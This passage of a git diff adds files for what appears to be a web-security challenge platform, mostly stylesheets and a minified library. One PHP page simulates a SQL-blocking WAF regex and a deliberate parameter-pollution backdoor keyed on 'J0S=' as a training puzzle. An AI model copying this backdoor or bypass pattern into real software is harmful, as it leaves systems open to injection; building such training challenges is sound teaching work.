.btn{border-bottom-color:#d4d4d4;background-color:#f1f1f1} +.modal .btn,.modal .btn:visited{color:#585858} +.modal .btn:hover{background-color:#60ae50;border-bottom-color:#4d8b40;color:#fff} +.modal .btn:active{background-color:#4d8b40} +.header__button--menu{-webkit-border-radius:3px;-moz-border-radius:3px;-ms-border-radius:3px;-o-border-radius:3px;border-radius:3px} +.header__button--menu{border:1px solid transparent;text-shadow:0 1px 0 rgba(255,255,255,0.1);text-align:center;background:none} +.btn__icon--sm{margin-right:.125em;vertical-align:middle;margin-top:-.125em;max-height:1em;max-width:1em} +.btn__icon--sm{font-size:1.111111em;margin-left:-.5em;position:relative;top:0} +.browser--firefox{text-indent:-999999px;display:inline-block;vertical-align:middle;position:relative;background-position:50% 50%;background-repeat:no-repeat} +.browser--firefox{height:64px;width:64px} +.browser--firefox{background-image:url(firefox.png)} +.svg .browser--firefox{background-image:url(firefox.png)} +.ddgsi,#add_to_browser .modal__browser:before,.modal__more:after,.nav-menu__close,.nav-menu__item>.is-selected:beforeÑ,.search__clear,.search__button,.header__button--menuÑ{font-family:'ddg-serp-icons'!important;speak:none;font-style:normal;font-weight:400!important;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale} +.nav-menu__item>.is-selected:before{content:"\2713"} +.modal{-webkit-border-radius:2px;-moz-border-radius:2px;-ms-border-radius:2px;-o-border-radius:2px;border-radius:2px;-webkit-box-shadow:0 0 1px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 0 1px 0 rgba(0,0,0,0.1);box-shadow:0 0 1px 0 rgba(0,0,0,0.1);width:315px;background-color:#fff;border:1px solid #dfdfdf;position:absolute;bottom:25px;left:-10px;text-align:center;padding:1em 0;margin:10px 0;display:block;visibility:hidden;opacity:0;z-index:-100;max-height:0} +.modal:after,.modal:before{display:block;position:absolute;z-index:-1;content:"";width:0;height:0;left:43px;border:17px solid transparent;border-top-width:15px;border-bottom:0} +.modal:before{bottom:-16px;border-top-color:#dfdfdf} +.modal:after{bottom:-14px;border-top-color:#fff} +.modal_trig{position:relative;display:inline-block;width:1px;height:0;z-index:200} +.modal__browser{position:relative} +#add_to_browser .modal__browser:before{content:'\2b';color:#fff;text-indent:0;font-size:1.1em;background-color:#31302e;position:absolute;display:block;top:50%;right:-.15em;margin-top:-.4em;line-height:1.15;height:1.15em;width:1.15em} +.modal__title{font-size:14px;font-size:.97222rem} +.modal__more{white-space:nowrap;overflow:hidden;-ms-text-overflow:ellipsis;-o-text-overflow:ellipsis;text-overflow:ellipsis;font-size:13px;font-size:.90278rem;border:1px solid #dfdfdf;background-color:#fafafa;position:absolute;display:block;line-height:2.7;height:2.5em;top:-2.5em;width:100%;left:-1px} +.modal__more,.modal__more:visited{color:gray} +.modal__more:hover{background-color:#fff} +.modal__more:after{content:"\21d1";font-size:1.25em;position:relative;margin-left:.25em;top:.25em;line-height:0} +.nav-menu--slideout .modal{left:auto;right:34px;bottom:-38px;top:auto} +.nav-menu--slideout .modal:after,.nav-menu--slideout .modal:before{left:auto;top:auto;bottom:10px;border:17px solid transparent;border-left-width:15px;border-right:0} +.nav-menu--slideout .modal:before{right:-16px;border-left-color:#dfdfdf} +.nav-menu--slideout .modal:after{right:-14px;border-left-color:#fff} +.logo_homepage{background-position:50% 50%;background-repeat:no-repeat;margin:auto;display:block;text-align:center;color:transparent;text-indent:-9999px;font-size:0} +.logo_homepage{background-image:url(logo.png);width:300px;height:225px} +.svg .logo_homepage{background-image:url(logo.png)} +@media only screen and (max-width: 29.5em) { + .logo_homepage{background-image:url(logo.png);background-size:166px 130px;width:166px;height:130px} + .svg .logo_homepage{background-image:url(logo.png)} +} +@media only screen and (max-height: 26.55em) and (max-width: 44em),only screen and (max-height: 25.075em) { + .logo_homepage{background-image:url(logo.png);background-size:275px 62px;width:275px;height:62px} + .svg .logo_homepage{background-image:url(logo.png)} +} +@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min--moz-device-pixel-ratio: 2),only screen and (-ms-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dppx) { + .logo_homepage{background-image:url(logo.png)} +} +@media only screen and (-webkit-min-device-pixel-ratio: 2) and (max-width: 29.5em),only screen and (-moz-min-device-pixel-ratio: 2) and (max-width: 29.5em),only screen and (min--moz-device-pixel-ratio: 2) and (max-width: 29.5em),only screen and (-ms-min-device-pixel-ratio: 2) and (max-width: 29.5em),only screen and (min-device-pixel-ratio: 2) and (max-width: 29.5em),only screen and (min-resolution: 192dppx) and (max-width: 29.5em) { + .logo_homepage{background-image:url(logo.png)} +} +@media only screen and (-webkit-min-device-pixel-ratio: 2) and (max-height: 26.55em) and (max-width: 44em),only screen and (-moz-min-device-pixel-ratio: 2) and (max-height: 26.55em) and (max-width: 44em),only screen and (min--moz-device-pixel-ratio: 2) and (max-height: 26.55em) and (max-width: 44em),only screen and (-ms-min-device-pixel-ratio: 2) and (max-height: 26.55em) and (max-width: 44em),only screen and (min-device-pixel-ratio: 2) and (max-height: 26.55em) and (max-width: 44em),only screen and (min-resolution: 192dppx) and (max-height: 26.55em) and (max-width: 44em),only screen and (-webkit-min-device-pixel-ratio: 2) and (max-height: 25.075em),only screen and (-moz-min-device-pixel-ratio: 2) and (max-height: 25.075em),only screen and (min--moz-device-pixel-ratio: 2) and (max-height: 25.075em),only screen and (-ms-min-device-pixel-ratio: 2) and (max-height: 25.075em),only screen and (min-device-pixel-ratio: 2) and (max-height: 25.075em),only screen and (min-resolution: 192dppx) and (max-height: 25.075em) { + .logo_homepage{background-image:url(logo.png)} +} +.nav-menu--slideout{background-color:#fff} +.nav-menu--slideout ul{padding-top:0;padding-bottom:0;list-style:none} +.nav-menu--slideout li{list-style:none} +.nav-menu__close{text-align:center;color:#bfbfbf;font-size:2em;line-height:1;background-color:transparent} +.nav-menu__close{position:absolute;top:.95em;right:.39em} +.nav-menu__close{-webkit-transition:all .15s ease-in-out;-webkit-transition-delay:0;-moz-transition:all .15s ease-in-out 0;-o-transition:all .15s ease-in-out 0;transition:all .15s ease-in-out 0;cursor:pointer;-webkit-tap-highlight-color:rgba(0,0,0,0);z-index:2} +.nav-menu__close:hover,.nav-menu__close:focus{color:#575757} +.nav-menu__close:active{color:#bfbfbf} +.nav-menu__close:visited{color:#bfbfbf} +.nav-menu__close{padding:.5em;margin:-.65em -.5em} +.nav-menu__list{display:block;position:relative;list-style:none;padding:0;margin:0} +.nav-menu__list li{position:relative;top:-.65em} +.nav-menu__heading{padding-top:2.6em;padding-bottom:2em;margin-bottom:-1.25em;color:#4a4a4a} +.nav-menu__heading span{text-transform:uppercase;font-size:.75em} +.nav-menu__item{position:relative} +.nav-menu__item>a{padding:0;display:block} +.nav-menu__item,.nav-menu__item>a,.nav-menu__item>a:visited{color:#8c8c8c} +.nav-menu__item>a:hover{color:#4c4c4c} +.nav-menu__item>.is-selected:before{padding-right:.25em} +.nav-menu__item .modal_trig{position:absolute;top:50%;left:0} +.nav-menu--slideout{-webkit-transform:translate3d(15.45em,0,0);-moz-transform:translate3d(15.45em,0,0);-ms-transform:translate3d(15.45em,0,0);-o-transform:translate3d(15.45em,0,0);transform:translate3d(15.45em,0,0);-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-o-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;-ms-transform-style:preserve-3d;-o-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-box-shadow:-1px 0 1px rgba(213,213,213,0.3);-moz-box-shadow:-1px 0 1px rgba(213,213,213,0.3);box-shadow:-1px 0 1px rgba(213,213,213,0.3);border-left:1px solid #d5d5d5;width:15.2em;display:block;height:100%;padding-bottom:20em;position:fixed;top:4px;bottom:0;right:-15.45em;left:auto;z-index:200} +.nav-menu--slideout .nav-menu__list{padding-left:2em;position:absolute;overflow:auto;overflow-x:hidden;bottom:0;right:0;left:0;top:0} +.nav-menu--slideout .nav-menu__list:after{content:"";clear:both;display:block;height:26em} +.csstransforms3d .nav-menu--slideout{right:0} +.search__clear,.search__button,.search--adv,.search__input--adv{font-size:1em} +.search--adv{-webkit-border-radius:2px;-moz-border-radius:2px;-ms-border-radius:2px;-o-border-radius:2px;border-radius:2px;display:block;position:relative;height:2.8em;background-color:#fff;border:1px solid #cccdc8;padding-left:.75em;padding-right:6.5em} +.search--adv:active:focus,.search--adv:active:hover{border-color:rgba(204,205,200,0.5)} +.search--adv{padding-right:3.5em} +.search--adv:hover{padding-right:6.5em} +.search--home{font-size:1.14em} +.search--home .search__clear{margin-right:3.2em} +.search__input--adv{-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none;appearance:none;-webkit-tap-highlight-color:rgba(0,0,0,0);font-size:1.1em;font-family:"DDG_ProximaNova","Proxima Nova","Helvetica Neue","Helvetica","Segoe UI","Nimbus Sans L","Liberation Sans","Open Sans",FreeSans,Arial,sans-serif;font-weight:400;display:block;width:100%;background:none;outline:none;border:none;padding:0;height:2.54545em;z-index:1;position:relative;top:-1px} +.search__input--adv:focus{outline:none} +.search__input--adv::-moz-placeholder{color:#a1a1a1} +.search__hidden{display:none} +.search__clear,.search__button{-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none;appearance:none;-webkit-tap-highlight-color:rgba(0,0,0,0);width:1em;display:block;cursor:pointer;background:transparent;text-align:center;border:none;height:2.45em;line-height:2.45em;position:absolute;top:0;bottom:0;right:2px;left:auto;margin:auto;z-index:2;outline:none} +.search__clear:active,.search__button:active{-webkit-transition:none .3s ease-in-out;-webkit-transition-delay:0;-moz-transition:none .3s ease-in-out 0;-o-transition:none .3s ease-in-out 0;transition:none .3s ease-in-out 0} +.search__dropdown{display:none} +.search__clear{padding:0 .5em;line-height:2.625em;min-width:21px;color:#aeaeae;margin-right:3.6em;visibility:hidden;opacity:0} +.search__clear:focus,.search__clear:hover{outline:none;color:#333;visibility:visible} +.search__clear:active:focus,.search__clear:active:hover{color:#c9481c} +.search__clear.empty{display:none} +.search__button{-webkit-border-radius:2px;-moz-border-radius:2px;-ms-border-radius:2px;-o-border-radius:2px;border-radius:2px;min-width:26px;color:#838383;font-size:1.25em;padding:0 .64em;height:auto;min-height:1.8em;margin-top:2px;margin-bottom:2px;line-height:1.5;background-color:transparent;background-position:50% 50%;background-repeat:no-repeat;-webkit-font-smoothing:subpixel-antialiased} +.search__button::-moz-focus-inner{margin-top:-1px} +.search__button:hover,.search__button:focus{outline:none} +.search__button:hover,.search__button:focus{background-color:#0054a4;color:#fff} +.search__button:active{background-color:#333} +.header--home-aside{display:block;width:47px;position:absolute;top:0;right:0;bottom:0;margin:auto} +.header--home-aside{margin-top:18px;right:.5em;height:36px} +.header__button--menu{padding:0;display:block;float:right;height:2.45em;width:2.45em;line-height:2.45em;top:.35em;position:relative;z-index:10;font-size:14.4px} +.header__button--menu,.header__button--menu:visited,.header__button--menu:focus,.header__button--menu:hover{color:#a5a5a5} +.no-touch .header__button--menu:hover,.no-touch .header__button--menu:focus{text-decoration:none;background-color:#f0f0f0;border-color:#d8d8d8;color:#7f7f7f} +.no-touch .header__button--menu:active{color:#666} +.header__button--menu{font-size:16px;height:2.22727em;width:2.22727em;line-height:2.22727em;top:0} +.header--home-aside{margin-top:16px;right:.5em} +@media only screen and (max-width: 60em) { + .header--home-aside{width:47px} +} +@media only screen and (max-width: 44em) { + .header--home-aside{width:47px;right:.15em} +} +@media only screen and (max-width: 29.5em) { + .header--home-aside{width:2.8em} +} +html,body{height:100%;min-height:100%;padding:0;margin:0} +html{overflow:hidden;overflow-y:auto;background-color:#f7f7f7;font-size:90%;-webkit-font-smoothing:subpixel-antialiased;-webkit-text-size-adjust:100%} +body{overflow:hidden;position:relative;height:auto} +.site-wrapper{overflow:hidden;min-height:100%} +.site-wrapper:before{content:"";display:block;position:absolute;height:4px;background:#c9481c;z-index:20;width:100%;left:0;top:0} +.is-not-mobile-device .site-wrapper:before{position:fixed} +body{background-color:#fff;color:#333;line-height:1.6} +body,input,select,textarea{font-family:"DDG_ProximaNova","Proxima Nova","Helvetica Neue","Helvetica","Segoe UI","Nimbus Sans L","Liberation Sans","Open Sans",FreeSans,Arial,sans-serif} +h1,h2,h3,h4,h5,h6{font-weight:400} +p{line-height:1.35;padding-top:.25em;padding-bottom:.25em} +strong,b{font-weight:600} +em,i{font-style:italic} +pre,tt,code{color:#393939;background-color:#eaeaea;text-shadow:none} +pre{padding:.55em 0;padding-left:.5em;margin:.5em 0} +sup,sub{vertical-align:baseline;font-size:.8em;position:relative;line-height:0} +sup{top:-.5em} +sub{top:.25em} +.nav-menu__close{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:-moz-none;-ms-user-select:none;user-select:none} +a{font-family:inherit;text-decoration:none;color:#2f82c2} +a:visited{color:#7381a6} +a:hover,a:focus{text-decoration:none;color:#3476b4} +a:focus{outline:none} +a:active{-webkit-transition:none .3s ease-in-out;-webkit-transition-delay:0;-moz-transition:none .3s ease-in-out 0;-o-transition:none .3s ease-in-out 0;transition:none .3s ease-in-out 0} +.cw--c{position:relative;padding:0 .5em;max-width:70em;margin-left:0;margin-right:auto} +.cw--c{margin-left:auto} +img{max-width:100%} +.site-wrapper{width:100%;overflow:hidden} +.search--adv,.header__button--menu,html{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box} +.search__clear,.search__button{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;-ms-box-sizing:content-box;-o-box-sizing:content-box;box-sizing:content-box} +@media only screen and (max-width: 44em) { + html{min-width:initial} +} diff --git a/challenges/challenge-bigblue/data/style2.css b/challenges/challenge-bigblue/data/style2.css new file mode 100644 index 00000000..9b51c98a --- /dev/null +++ b/challenges/challenge-bigblue/data/style2.css @@ -0,0 +1,53 @@ +h1,h2,h3,h4,h5,h6,p,ul,ol,blockquote{padding-top:.5em;padding-bottom:.5em} +h1{font-size:3em} +h2{font-size:2em} +h3{font-size:1.75em} +h4{font-size:1.5em} +h5{font-size:1.33em} +h6,.tag-home{font-size:1.1667em} +small{font-size:.9167em} +@media only screen and (max-width: 29.5em) { + .tag-home{font-size:.9167em} +} +.body--home,.site-wrapper--home{background:#f7f7f7} +.site-wrapper--home{height:100%} +.site-wrapper--home:before{display:none!important} +.header-wrap--home{padding-top:16px;position:absolute;top:0;left:0;right:0;width:100%;z-index:5} +.content-wrap--home{position:absolute;margin:auto;width:100%;top:24%;left:0;right:0;z-index:2} +.logo-wrap--home{display:block;max-width:300px;margin:auto;margin-bottom:.8em;margin-top:-1.25em} +@media only screen and (max-width: 29.5em) { + .logo-wrap--home{margin-bottom:1.25em;margin-top:0} +} +@media only screen and (max-height: 26.55em) and (max-width: 44em),only screen and (max-height: 25.075em) { + .logo-wrap--home{margin-bottom:0;margin-top:0} +} +.search-wrap--home{-webkit-transition:all .3s ease-in-out;-webkit-transition-delay:0;-moz-transition:all .3s ease-in-out 0;-o-transition:all .3s ease-in-out 0;transition:all .3s ease-in-out 0;padding:1.3em .8em 1em;max-width:44em;margin-left:auto;margin-right:auto;display:block;float:none;width:70%} +@media only screen and (max-width: 44em) { + .search-wrap--home{width:80%} +} +@media only screen and (max-width: 29.5em) { + .search-wrap--home{width:auto} +} +.tag-home{padding:.5em 0;text-align:center;color:#9a9a9a} +@media only screen and (max-height: 25.075em) and (min-width: 60em) { + .content-wrap--home{margin-bottom:3em;text-align:center} + .content--home{padding-bottom:2em;display:inline-table} + .content--home .cw--c{display:table-row} + .logo-wrap--home,.search-wrap--home{display:table-cell;vertical-align:middle} + .search-wrap--home{text-align:left} + .search--home{margin-left:1em;margin-top:-.25em} + .logo_homepage{margin-left:-22px;margin-right:-22px} + .tag-home{display:none} +} +@media only screen and (max-height: 44em) { + .content-wrap--home{top:20%} +} +@media only screen and (max-height: 35.4em) and (min-width: 44em) { + .content-wrap--home{position:relative;top:0;padding-top:7em;padding-bottom:2em;margin-bottom:0} +} +@media only screen and (max-height: 22.125em) and (min-width: 44em) { + .content-wrap--home{padding-top:4em} +} +@media only screen and (max-height: 19.175em) and (min-width: 44em) { + .content-wrap--home{position:absolute;padding-top:0;top:30%} +} diff --git a/challenges/challenge-bigblue/index.php b/challenges/challenge-bigblue/index.php new file mode 100644 index 00000000..8da7d2c7 --- /dev/null +++ b/challenges/challenge-bigblue/index.php @@ -0,0 +1,76 @@ +startChallenge(); + +if(isset($_GET['q'])) { + // Simulates the WAF's answer: + $waf_regex = '/select\s[\w+,\*\s]+\sfrom\s[\w+,\s]+/'; + if(preg_match($waf_regex, $_GET['q'])) { + $validator->failChallenge(); + header('HTTP/1.1 501 Not Implemented'); + echo '

501 Not Implemented

'; + exit(); + } + + // Simulates ASP behaviour: + // Extract the parameters (removes 'index.php?'). + $parameters = substr(basename(urldecode($_SERVER['REQUEST_URI'])), 10); + $asp_regex = '/^q=(.+?)&q=(.+?)($|&)/'; + if(preg_match($asp_regex, $parameters, $matches)) { + // q parameter as seen by ASP. + $q = $matches[1].','.$matches[2]; + + $key = substr($q, 0, 4); + if($key == 'J0S=') { + // Trying to use the backdoor. + $sql_query = substr($q, 4); + $validator->validateSolution($sql_query); + } else { + $validator->failChallenge(); + } + } else { + $validator->failChallenge(); + } +} + +?> + + + + + + + + BigBlue + + +
+
+
+
+
+ BigBlue +
+
+
+ + +
+
+
+ The search engine to get to the bottom of things. +
+
+
+
+ + +
+ + diff --git a/challenges/challenge-cafebook/data/cafe.png b/challenges/challenge-cafebook/data/cafe.png new file mode 100644 index 00000000..a52d4d5b Binary files /dev/null and b/challenges/challenge-cafebook/data/cafe.png differ diff --git a/challenges/challenge-cafebook/data/sprite.png b/challenges/challenge-cafebook/data/sprite.png new file mode 100644 index 00000000..71e97e19 Binary files /dev/null and b/challenges/challenge-cafebook/data/sprite.png differ diff --git a/challenges/challenge-cafebook/data/style1.css b/challenges/challenge-cafebook/data/style1.css new file mode 100644 index 00000000..f31382b8 --- /dev/null +++ b/challenges/challenge-cafebook/data/style1.css @@ -0,0 +1,88 @@ +form{margin:0;padding:0} +label{cursor:pointer;color:#666;font-weight:700;vertical-align:middle} +label input{font-weight:400} +textarea,.inputtext,.inputpassword{border:1px solid #bdc7d8;margin:0;padding:3px} +textarea{max-width:100%} +select{border:1px solid #bdc7d8;padding:2px} +.inputtext,.inputpassword{padding-bottom:4px} +body{background:#fff;color:#333;line-height:1.28;margin:0;padding:0;text-align:left;direction:ltr;unicode-bidi:embed} +body,button,input,label,select,td,textarea{font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-size:11px} +h1,h2,h3,h4,h5,h6{font-size:13px;color:#333;margin:0;padding:0} +h1{font-size:14px} +h4,h5,h6{font-size:11px} +p{margin:1em 0} +a{color:#3b5998;cursor:pointer;-moz-outline-style:none;text-decoration:none} +button{margin:0} +a:hover{text-decoration:underline} +img{border:0} +td{text-align:left} +dd{color:#000} +dt{color:#777} +ul{list-style-type:none;margin:0;padding:0} +abbr{border-bottom:none} +hr{background:#d9d9d9;border-width:0;color:#d9d9d9;height:1px} +.clearfix:after{clear:both;content:".";display:block;font-size:0;height:0;line-height:0;visibility:hidden} +.clearfix{zoom:1} +.cbx #pageFooter{margin:auto;width:auto} +.navigationGrid{line-height:20px;width:540px} +.navigationGrid td{padding-right:10px} +#pageFooter{color:#737373;font-size:11px;margin:0 auto;width:980px} +#pageFooter a{text-decoration:none;white-space:nowrap} +#pageFooter a:last-child{margin-right:0} +#pageFooter a:hover{text-decoration:underline} +#contentCurve{border-bottom:1px solid #ccc;font-size:1px;height:8px;margin-bottom:8px} +#globalContainer{margin:0 auto;position:relative;zoom:1} +.cbx #globalContainer{width:981px} +.cb_content{padding-bottom:20px} +.cbx .cb_content{padding-bottom:0} +.uiButton{cursor:pointer;display:inline-block;font-size:11px;font-weight:700;line-height:13px;padding:2px 6px;text-align:center;text-decoration:none;vertical-align:top;white-space:nowrap} +.uiButton{background-image:url(sprite.png);background-repeat:no-repeat;background-size:auto;background-position:0 -98px;background-color:#eee;border:1px solid #999;border-bottom-color:#888;box-shadow:0 1px 0 rgba(0,0,0,.1)} +.uiButton:hover{text-decoration:none} +.uiButton:active,{background:#ddd;border-bottom-color:#999;box-shadow:inset 0 1px 1px rgba(0,0,0,.2)} +.uiButton input{background:none;border:0;color:#333;cursor:pointer;display:-moz-inline-box;display:inline-block;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-size:11px;font-weight:700;line-height:13px;margin:0;padding:1px 0 2px;white-space:nowrap} +.uiButton input::-moz-focus-inner{border:0;padding:0} +.gecko .uiButton input:focus{outline:thin dotted} +.uiButtonConfirm{background-image:url(sprite.png);background-repeat:no-repeat;background-size:auto;background-position:0 -49px;background-color:#5b74a8;border-color:#29447e #29447e #1a356e} +.uiButtonConfirm:active{background:#4f6aa3;border-bottom-color:#29447e} +.uiButtonConfirm input{color:#fff} +.uiButtonLarge{height:19px} +.uiButtonLarge,.uiButtonLarge input{font-size:13px;line-height:16px} +.uiBoxRed{background-color:#ffebe8;border:1px solid #dd3c10} +.uiBoxWhite{background-color:#fff;border:1px solid #ccc} +i.img{-ms-high-contrast-adjust:none;_overflow:hidden} +i.img u{left:-999999px;position:absolute} +.lfloat{float:left} +.rfloat{float:right} +.pam{padding:10px} +.ptm{padding-top:10px} +.plm{padding-left:10px} +.phl{padding-left:20px;padding-right:20px} +.mts{margin-top:5px} +.mhl{margin-left:20px;margin-right:20px} +.mvl{margin-top:20px;margin-bottom:20px} +.fsm{font-size:11px} +.fsl{font-size:13px} +.fwn{font-weight:400} +.fwb{font-weight:700} +.fcb{color:#333} +.fcg{color:gray} +.uiInputLabel{position:relative} +.uiInputLabelInput{margin:0;padding:0;position:absolute} +.uiInputLabelLabel:active{-moz-user-select:none} +.uiInputLabel .uiInputLabelLabel{display:inline-block;margin-left:17px;vertical-align:baseline} +.uiInputLabelLegacy label{color:#333;font-weight:400} +.uiHeader h2{color:#1c2a47;font-size:16px} +.uiHeader .uiHeaderTitle{outline:none} +.uiHeaderBottomBorder{border-bottom:1px solid #aaa;padding-bottom:.5em} +.uiHeaderPage{padding:6px 0 16px} +.uiHeaderPage .uiHeaderTitle{line-height:20px;min-height:20px;padding-bottom:2px;vertical-align:bottom} +.uiHeaderPage .uiHeaderActions{margin-top:-1px} +.uiContextualLayerParent{position:relative} +._51mz{border:0;border-collapse:collapse;border-spacing:0} +.uiGrid .hLeft{text-align:left} +._51mx:first-child>._51m-{padding-top:0} +._51mx:last-child>._51m-{padding-bottom:0} +._51mz ._51mw{padding-right:0} +._51mz ._51m-:first-child{padding-left:0} +._ohe{float:left} +._ohf{float:right} diff --git a/challenges/challenge-cafebook/data/style2.css b/challenges/challenge-cafebook/data/style2.css new file mode 100644 index 00000000..a021855c --- /dev/null +++ b/challenges/challenge-cafebook/data/style2.css @@ -0,0 +1,10 @@ +body{overflow-y:scroll} +#content{margin:0;outline:none;padding:0;width:auto} +.UIFullPage_Container{width:940px;padding:20px 12px 0;margin:0 auto} +#blueBar{background-color:#3b5998;border-bottom:1px solid #133783;min-width:981px;position:relative;z-index:300} +#blueBar.aboveSidebar{z-index:301} +._2gsf #blueBar{height:42px} +._2gsf #blueBar{background-repeat:repeat-x;background-size:auto;background-position:0 0;background-color:#4c66a4;border:0;box-shadow:none;position:relative} +._2gsf #blueBar:after{background-repeat:repeat-x;background-size:auto;background-position:0 0;bottom:-4px;content:'';height:4px;left:0;position:absolute;right:0} +._2gsg #blueBarHolder,._2gsg #blueBarHolder #blueBar{height:auto} +._2gsg #pagelet_bluebar{padding-bottom:1px} diff --git a/challenges/challenge-cafebook/data/style3.css b/challenges/challenge-cafebook/data/style3.css new file mode 100644 index 00000000..dcd98245 --- /dev/null +++ b/challenges/challenge-cafebook/data/style3.css @@ -0,0 +1,22 @@ +.login_page #loginform{clear:left;margin:auto;padding:15px 0;text-align:left;width:380px} +.login_page #loginform p{line-height:16px;margin:10px 0;text-align:left} +.login_page #loginform p.reset_password{margin-bottom:0;padding-bottom:0} +.login_page #email{direction:ltr} +div.login_page_interstitial{margin-bottom:0;width:640px} +.login_page .localeSelectorList{margin:0 auto 40px;width:640px} +.form_row{padding:0 0 8px;text-align:left} +.form_row .login_form_label{display:block;float:left;padding:3px 0;width:100px} +.form_row input{margin:0} +.form_row .inputtext,.inputpassword{width:175px} +.persistent{padding:3px 0 3px 100px} +#login_button_inline{float:left;margin-bottom:5px;margin-right:5px} +#register_link{margin-top:5px;float:left} +#buttons{padding:5px 0 0 100px;text-align:left} +#buttons .uiButton{margin-right:2px} +#buttons label{float:none;width:auto} +.reset_password{padding-left:100px} +.login_error_box{margin-top:10px} +.uiInterstitial{border-radius:4px;margin-left:auto;margin-right:auto} +.uiInterstitialLarge{width:555px} +.uiInterstitial .interstitialHeader{border-color:#ccc;padding-bottom:.5em} +.uiInterstitialContent{margin-bottom:15px} diff --git a/challenges/challenge-cafebook/data/style4.css b/challenges/challenge-cafebook/data/style4.css new file mode 100644 index 00000000..6d8c5164 --- /dev/null +++ b/challenges/challenge-cafebook/data/style4.css @@ -0,0 +1,6 @@ +.loggedout_menubar_container{background-color:#3b5998;height:82px;min-width:980px} +.loggedout_menubar{margin:0 auto;padding-top:13px;width:980px} +.loggedout_menubar .cb_logo{margin-top:17px} +.UIPage_LoggedOut .UIFullPage_Container{margin-top:26px} +.sp_9vUokIDmpP8{background-image:url(sprite.png);background-size:auto;background-repeat:no-repeat;display:inline-block;height:21px;width:11px} +.sp_9vUokIDmpP8.sx_15c231{width:170px;height:36px;background-position:0 -481px} diff --git a/challenges/challenge-cafebook/index.php b/challenges/challenge-cafebook/index.php new file mode 100644 index 00000000..1c8477b5 --- /dev/null +++ b/challenges/challenge-cafebook/index.php @@ -0,0 +1,198 @@ +startChallenge(); + +$error = false; +if(isset($_POST['email']) && isset($_POST['pass'])) { + if($_POST['email'] == 'abby.sciuto@cafebook.com') { + $answer = $_POST['pass']; + $error = !$validator->validateSolution($answer); + } else { + $validator->failChallenge(); + $error = true; + } +} + +?> + + + + + + + Cafébook + + + + + + +
+
+
+ +
+
+
+
+
+ +
+
+
+ +
+
+ + diff --git a/challenges/challenge-cas/data/background-content.png b/challenges/challenge-cas/data/background-content.png new file mode 100644 index 00000000..bd8d97f9 Binary files /dev/null and b/challenges/challenge-cas/data/background-content.png differ diff --git a/challenges/challenge-cas/data/background-header.png b/challenges/challenge-cas/data/background-header.png new file mode 100644 index 00000000..9b49d376 Binary files /dev/null and b/challenges/challenge-cas/data/background-header.png differ diff --git a/challenges/challenge-cas/data/jquery.history.js b/challenges/challenge-cas/data/jquery.history.js new file mode 100644 index 00000000..9e18d9ee --- /dev/null +++ b/challenges/challenge-cas/data/jquery.history.js @@ -0,0 +1 @@ +typeof JSON!="object"&&(JSON={}),function(){"use strict";function f(e){return e<10?"0"+e:e}function quote(e){return escapable.lastIndex=0,escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t=="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];a&&typeof a=="object"&&typeof a.toJSON=="function"&&(a=a.toJSON(e)),typeof rep=="function"&&(a=rep.call(t,e,a));switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a)return"null";gap+=indent,u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n")&&n[0]);return e>4?e:!1}();return e},h.isInternetExplorer=function(){var e=h.isInternetExplorer.cached=typeof h.isInternetExplorer.cached!="undefined"?h.isInternetExplorer.cached:Boolean(h.getInternetExplorerMajorVersion());return e},h.options.html4Mode?h.emulated={pushState:!0,hashChange:!0}:h.emulated={pushState:!Boolean(e.history&&e.history.pushState&&e.history.replaceState&&!/ Mobile\/([1-7][a-z]|(8([abcde]|f(1[0-8]))))/i.test(i.userAgent)&&!/AppleWebKit\/5([0-2]|3[0-2])/i.test(i.userAgent)),hashChange:Boolean(!("onhashchange"in e||"onhashchange"in r)||h.isInternetExplorer()&&h.getInternetExplorerMajorVersion()<8)},h.enabled=!h.emulated.pushState,h.bugs={setHash:Boolean(!h.emulated.pushState&&i.vendor==="Apple Computer, Inc."&&/AppleWebKit\/5([0-2]|3[0-3])/.test(i.userAgent)),safariPoll:Boolean(!h.emulated.pushState&&i.vendor==="Apple Computer, Inc."&&/AppleWebKit\/5([0-2]|3[0-3])/.test(i.userAgent)),ieDoubleCheck:Boolean(h.isInternetExplorer()&&h.getInternetExplorerMajorVersion()<8),hashEscape:Boolean(h.isInternetExplorer()&&h.getInternetExplorerMajorVersion()<7)},h.isEmptyObject=function(e){for(var t in e)if(e.hasOwnProperty(t))return!1;return!0},h.cloneObject=function(e){var t,n;return e?(t=l.stringify(e),n=l.parse(t)):n={},n},h.getRootUrl=function(){var e=r.location.protocol+"//"+(r.location.hostname||r.location.host);if(r.location.port||!1)e+=":"+r.location.port;return e+="/",e},h.getBaseHref=function(){var e=r.getElementsByTagName("base"),t=null,n="";return e.length===1&&(t=e[0],n=t.href.replace(/[^\/]+$/,"")),n=n.replace(/\/+$/,""),n&&(n+="/"),n},h.getBaseUrl=function(){var e=h.getBaseHref()||h.getBasePageUrl()||h.getRootUrl();return e},h.getPageUrl=function(){var e=h.getState(!1,!1),t=(e||{}).url||h.getLocationHref(),n;return 